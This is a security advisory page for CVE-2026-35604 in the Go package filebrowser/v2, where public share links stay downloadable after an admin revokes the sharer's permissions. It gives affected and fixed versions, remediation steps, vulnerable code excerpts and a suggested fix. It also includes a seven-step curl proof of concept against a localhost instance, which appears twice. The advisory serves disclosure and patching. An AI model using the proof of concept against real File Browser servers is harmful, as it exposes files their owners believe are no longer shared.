CVE-2026-35604: Github.com/filebrowser/filebrowser/v2 File Browser Share Links Remain Vulnerability

HIGH
Advisory Identifier: GHSA-v9w4-gm2x-6rvf
CWE-863
Published
Advisory Summary

CVE-2026-35604 is a HIGH file browser share links remain vulnerability (CWE-863: Incorrect Authorization) affecting Github.com/filebrowser/filebrowser/v2 libraries in the Go ecosystem. The issue involves file browser share links remain accessible after share/download permissions are revoked. Remediation is available by upgrading affected packages to version 2.63.1.

CVE-2026-35604 at a Glance

CVE Identifier CVE-2026-35604
GHSA Identifier GHSA-v9w4-gm2x-6rvf
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-863: Incorrect Authorization
Affected Product Github.com/filebrowser/filebrowser/v2
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-35604

To remediate this vulnerability, upgrade all affected Github.com/filebrowser/filebrowser/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/filebrowser/filebrowser/v2 fixed: 2.63.1
Upgrade github.com/filebrowser/filebrowser/v2 to 2.63.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/filebrowser/filebrowser/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35604, inspect your project dependencies for Github.com/filebrowser/filebrowser/v2:

inspect dependencies for github.com/filebrowser/filebrowser/v2

Analyze the terminal output to locate any version of Github.com/filebrowser/filebrowser/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.63.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Github.com/filebrowser/filebrowser/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d). ## Details Share creation (`http/share.go:21-29`) correctly checks permissions: func withPermShare(fn handleFunc) handleFunc { return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) { if !d.user.Perm.Share || !d.user.Perm.Download { return http.StatusForbidden, nil } return fn(w, r, d) }) } But share access (`http/public.go:18-87`, `withHashFile`) does not: var withHashFile = func(fn handleFunc) handleFunc { return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) { link, err := d.store.Share.GetByHash(id) // line 21: checks share exists authenticateShareRequest(r, link) // line 26: checks password user, err := d.store.Users.Get(...) // line 31: checks user exists d.user = user // line 36: sets user file, err := files.NewFileInfo(...) // line 38: gets file // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download } } ## Proof of Concept (runtime-verified) # Step 1: Login as admin TOKEN=$(curl -s -X POST http://localhost:18080/api/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"<admin-password>"}') # Step 2: Create testuser with Share+Download permissions curl -X POST http://localhost:18080/api/users \ -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \ -d '{"what":"user","which":[],"current_password":"<admin-password>", "data":{"username":"testuser","password":"TestPass123!","scope":".", "perm":{"share":true,"download":true,"create":true}}}' # Step 3: Login as testuser and create share USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \ -H "Content-Type: application/json" \ -d '{"username":"testuser","password":"TestPass123!"}') curl -X POST http://localhost:18080/api/share/secret.txt \ -H "X-Auth: $USER_TOKEN" -H "Content-Type: application/json" -d '{}' # Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0} # Step 4: Verify share works (unauthenticated) curl http://localhost:18080/api/public/dl/fB4Qwtsn # Returns: file content (200 OK) # Step 5: Admin revokes testuser's Share and Download permissions curl -X PUT http://localhost:18080/api/users/2 \ -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \ -d '{"what":"user","which":["all"],"current_password":"<admin-password>", "data":{"id":2,"username":"testuser","scope":".", "perm":{"share":false,"download":false,"create":true}}}' # Step 6: Verify testuser CANNOT create new shares curl -X POST http://localhost:18080/api/share/secret.txt \ -H "X-Auth: $USER_TOKEN" -d '{}' # Returns: 403 Forbidden (correct) # Step 7: THE BUG - old share STILL works curl http://localhost:18080/api/public/dl/fB4Qwtsn # Returns: file content (200 OK) - SHOULD be 403 ## Impact When an admin revokes a user's Share or Download permissions: - New share creation is correctly blocked (403) - But all existing shares created by that user remain fully accessible to unauthenticated users - The admin has a false sense of security: they believe revoking Share permission stops all sharing This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow"). ## Suggested Fix Add permission re-validation in `withHashFile`: user, err := d.store.Users.Get(d.server.Root, link.UserID) if err != nil { return errToStatus(err), err } // Verify the share owner still has Share and Download permissions if !user.Perm.Share || !user.Perm.Download { return http.StatusForbidden, nil } d.user = user --- **Update:** Fix submitted as PR #5888.

CVE-2026-35604 Affected Github.com/filebrowser/filebrowser/v2 Versions

1 component(s)
Fixed Versions:
2.63.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/filebrowser/filebrowser/v2
Go
< 2.63.1
2.63.1

References

Frequently Asked Questions

What is CVE-2026-35604?
CVE-2026-35604 is a security vulnerability in Github.com/filebrowser/filebrowser/v2 involving File Browser share links remain accessible after Share/Download permissions are revoked under CWE-863: Incorrect Authorization.
Which Github.com/filebrowser/filebrowser/v2 versions are affected?
Affected versions include releases prior to 2.63.1 across affected packages: github.com/filebrowser/filebrowser/v2.
What version fixes CVE-2026-35604?
Upgrading to 2.63.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/filebrowser/filebrowser/v2 affected?
Yes, github.com/filebrowser/filebrowser/v2 is affected in releases prior to 2.63.1. Upgrade your dependency to 2.63.1 or later.
What CWE is associated with CVE-2026-35604?
CVE-2026-35604 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-35604?
Run the dependency tree command: 'inspect dependencies for github.com/filebrowser/filebrowser/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v9w4-gm2x-6rvf",
  "modified" : "2026-04-08T00:04:59Z",
  "published" : "2026-04-08T00:04:59Z",
  "aliases" : [ "CVE-2026-35604" ],
  "summary" : "File Browser share links remain accessible after Share/Download permissions are revoked",
  "details" : "When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).\n\n## Details\n\nShare creation (`http/share.go:21-29`) correctly checks permissions:\n\n    func withPermShare(fn handleFunc) handleFunc {\n        return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n            if !d.user.Perm.Share || !d.user.Perm.Download {\n                return http.StatusForbidden, nil\n            }\n            return fn(w, r, d)\n        })\n    }\n\nBut share access (`http/public.go:18-87`, `withHashFile`) does not:\n\n    var withHashFile = func(fn handleFunc) handleFunc {\n        return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n            link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists\n            authenticateShareRequest(r, link)            // line 26: checks password\n            user, err := d.store.Users.Get(...)          // line 31: checks user exists\n            d.user = user                                // line 36: sets user\n            file, err := files.NewFileInfo(...)           // line 38: gets file\n            // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download\n        }\n    }\n\n## Proof of Concept (runtime-verified)\n\n    # Step 1: Login as admin\n    TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\"username\":\"admin\",\"password\":\"<admin-password>\"}')\n\n    # Step 2: Create testuser with Share+Download permissions\n    curl -X POST http://localhost:18080/api/users \\\n      -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n      -d '{\"what\":\"user\",\"which\":[],\"current_password\":\"<admin-password>\",\n           \"data\":{\"username\":\"testuser\",\"password\":\"TestPass123!\",\"scope\":\".\",\n           \"perm\":{\"share\":true,\"download\":true,\"create\":true}}}'\n\n    # Step 3: Login as testuser and create share\n    USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\"username\":\"testuser\",\"password\":\"TestPass123!\"}')\n    curl -X POST http://localhost:18080/api/share/secret.txt \\\n      -H \"X-Auth: $USER_TOKEN\" -H \"Content-Type: application/json\" -d '{}'\n    # Returns: {\"hash\":\"fB4Qwtsn\",\"path\":\"/secret.txt\",\"userID\":2,\"expire\":0}\n\n    # Step 4: Verify share works (unauthenticated)\n    curl http://localhost:18080/api/public/dl/fB4Qwtsn\n    # Returns: file content (200 OK)\n\n    # Step 5: Admin revokes testuser's Share and Download permissions\n    curl -X PUT http://localhost:18080/api/users/2 \\\n      -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n      -d '{\"what\":\"user\",\"which\":[\"all\"],\"current_password\":\"<admin-password>\",\n           \"data\":{\"id\":2,\"username\":\"testuser\",\"scope\":\".\",\n           \"perm\":{\"share\":false,\"download\":false,\"create\":true}}}'\n\n    # Step 6: Verify testuser CANNOT create new shares\n    curl -X POST http://localhost:18080/api/share/secret.txt \\\n      -H \"X-Auth: $USER_TOKEN\" -d '{}'\n    # Returns: 403 Forbidden (correct)\n\n    # Step 7: THE BUG - old share STILL works\n    curl http://localhost:18080/api/public/dl/fB4Qwtsn\n    # Returns: file content (200 OK) - SHOULD be 403\n\n## Impact\n\nWhen an admin revokes a user's Share or Download permissions:\n- New share creation is correctly blocked (403)\n- But all existing shares created by that user remain fully accessible to unauthenticated users\n- The admin has a false sense of security: they believe revoking Share permission stops all sharing\n\nThis is the same vulnerability class as GHSA-68j5-4m99-w9w9 (\"Authorization Policy Bypass in Public Share Download Flow\").\n\n## Suggested Fix\n\nAdd permission re-validation in `withHashFile`:\n\n    user, err := d.store.Users.Get(d.server.Root, link.UserID)\n    if err != nil {\n        return errToStatus(err), err\n    }\n\n    // Verify the share owner still has Share and Download permissions\n    if !user.Perm.Share || !user.Perm.Download {\n        return http.StatusForbidden, nil\n    }\n\n    d.user = user\n\n---\n\n**Update:** Fix submitted as PR #5888.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.63.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-v9w4-gm2x-6rvf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35604"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/pull/5888"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/filebrowser/filebrowser"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T00:04:59Z",
    "nvd_published_at" : "2026-04-07T17:16:34Z"
  }
}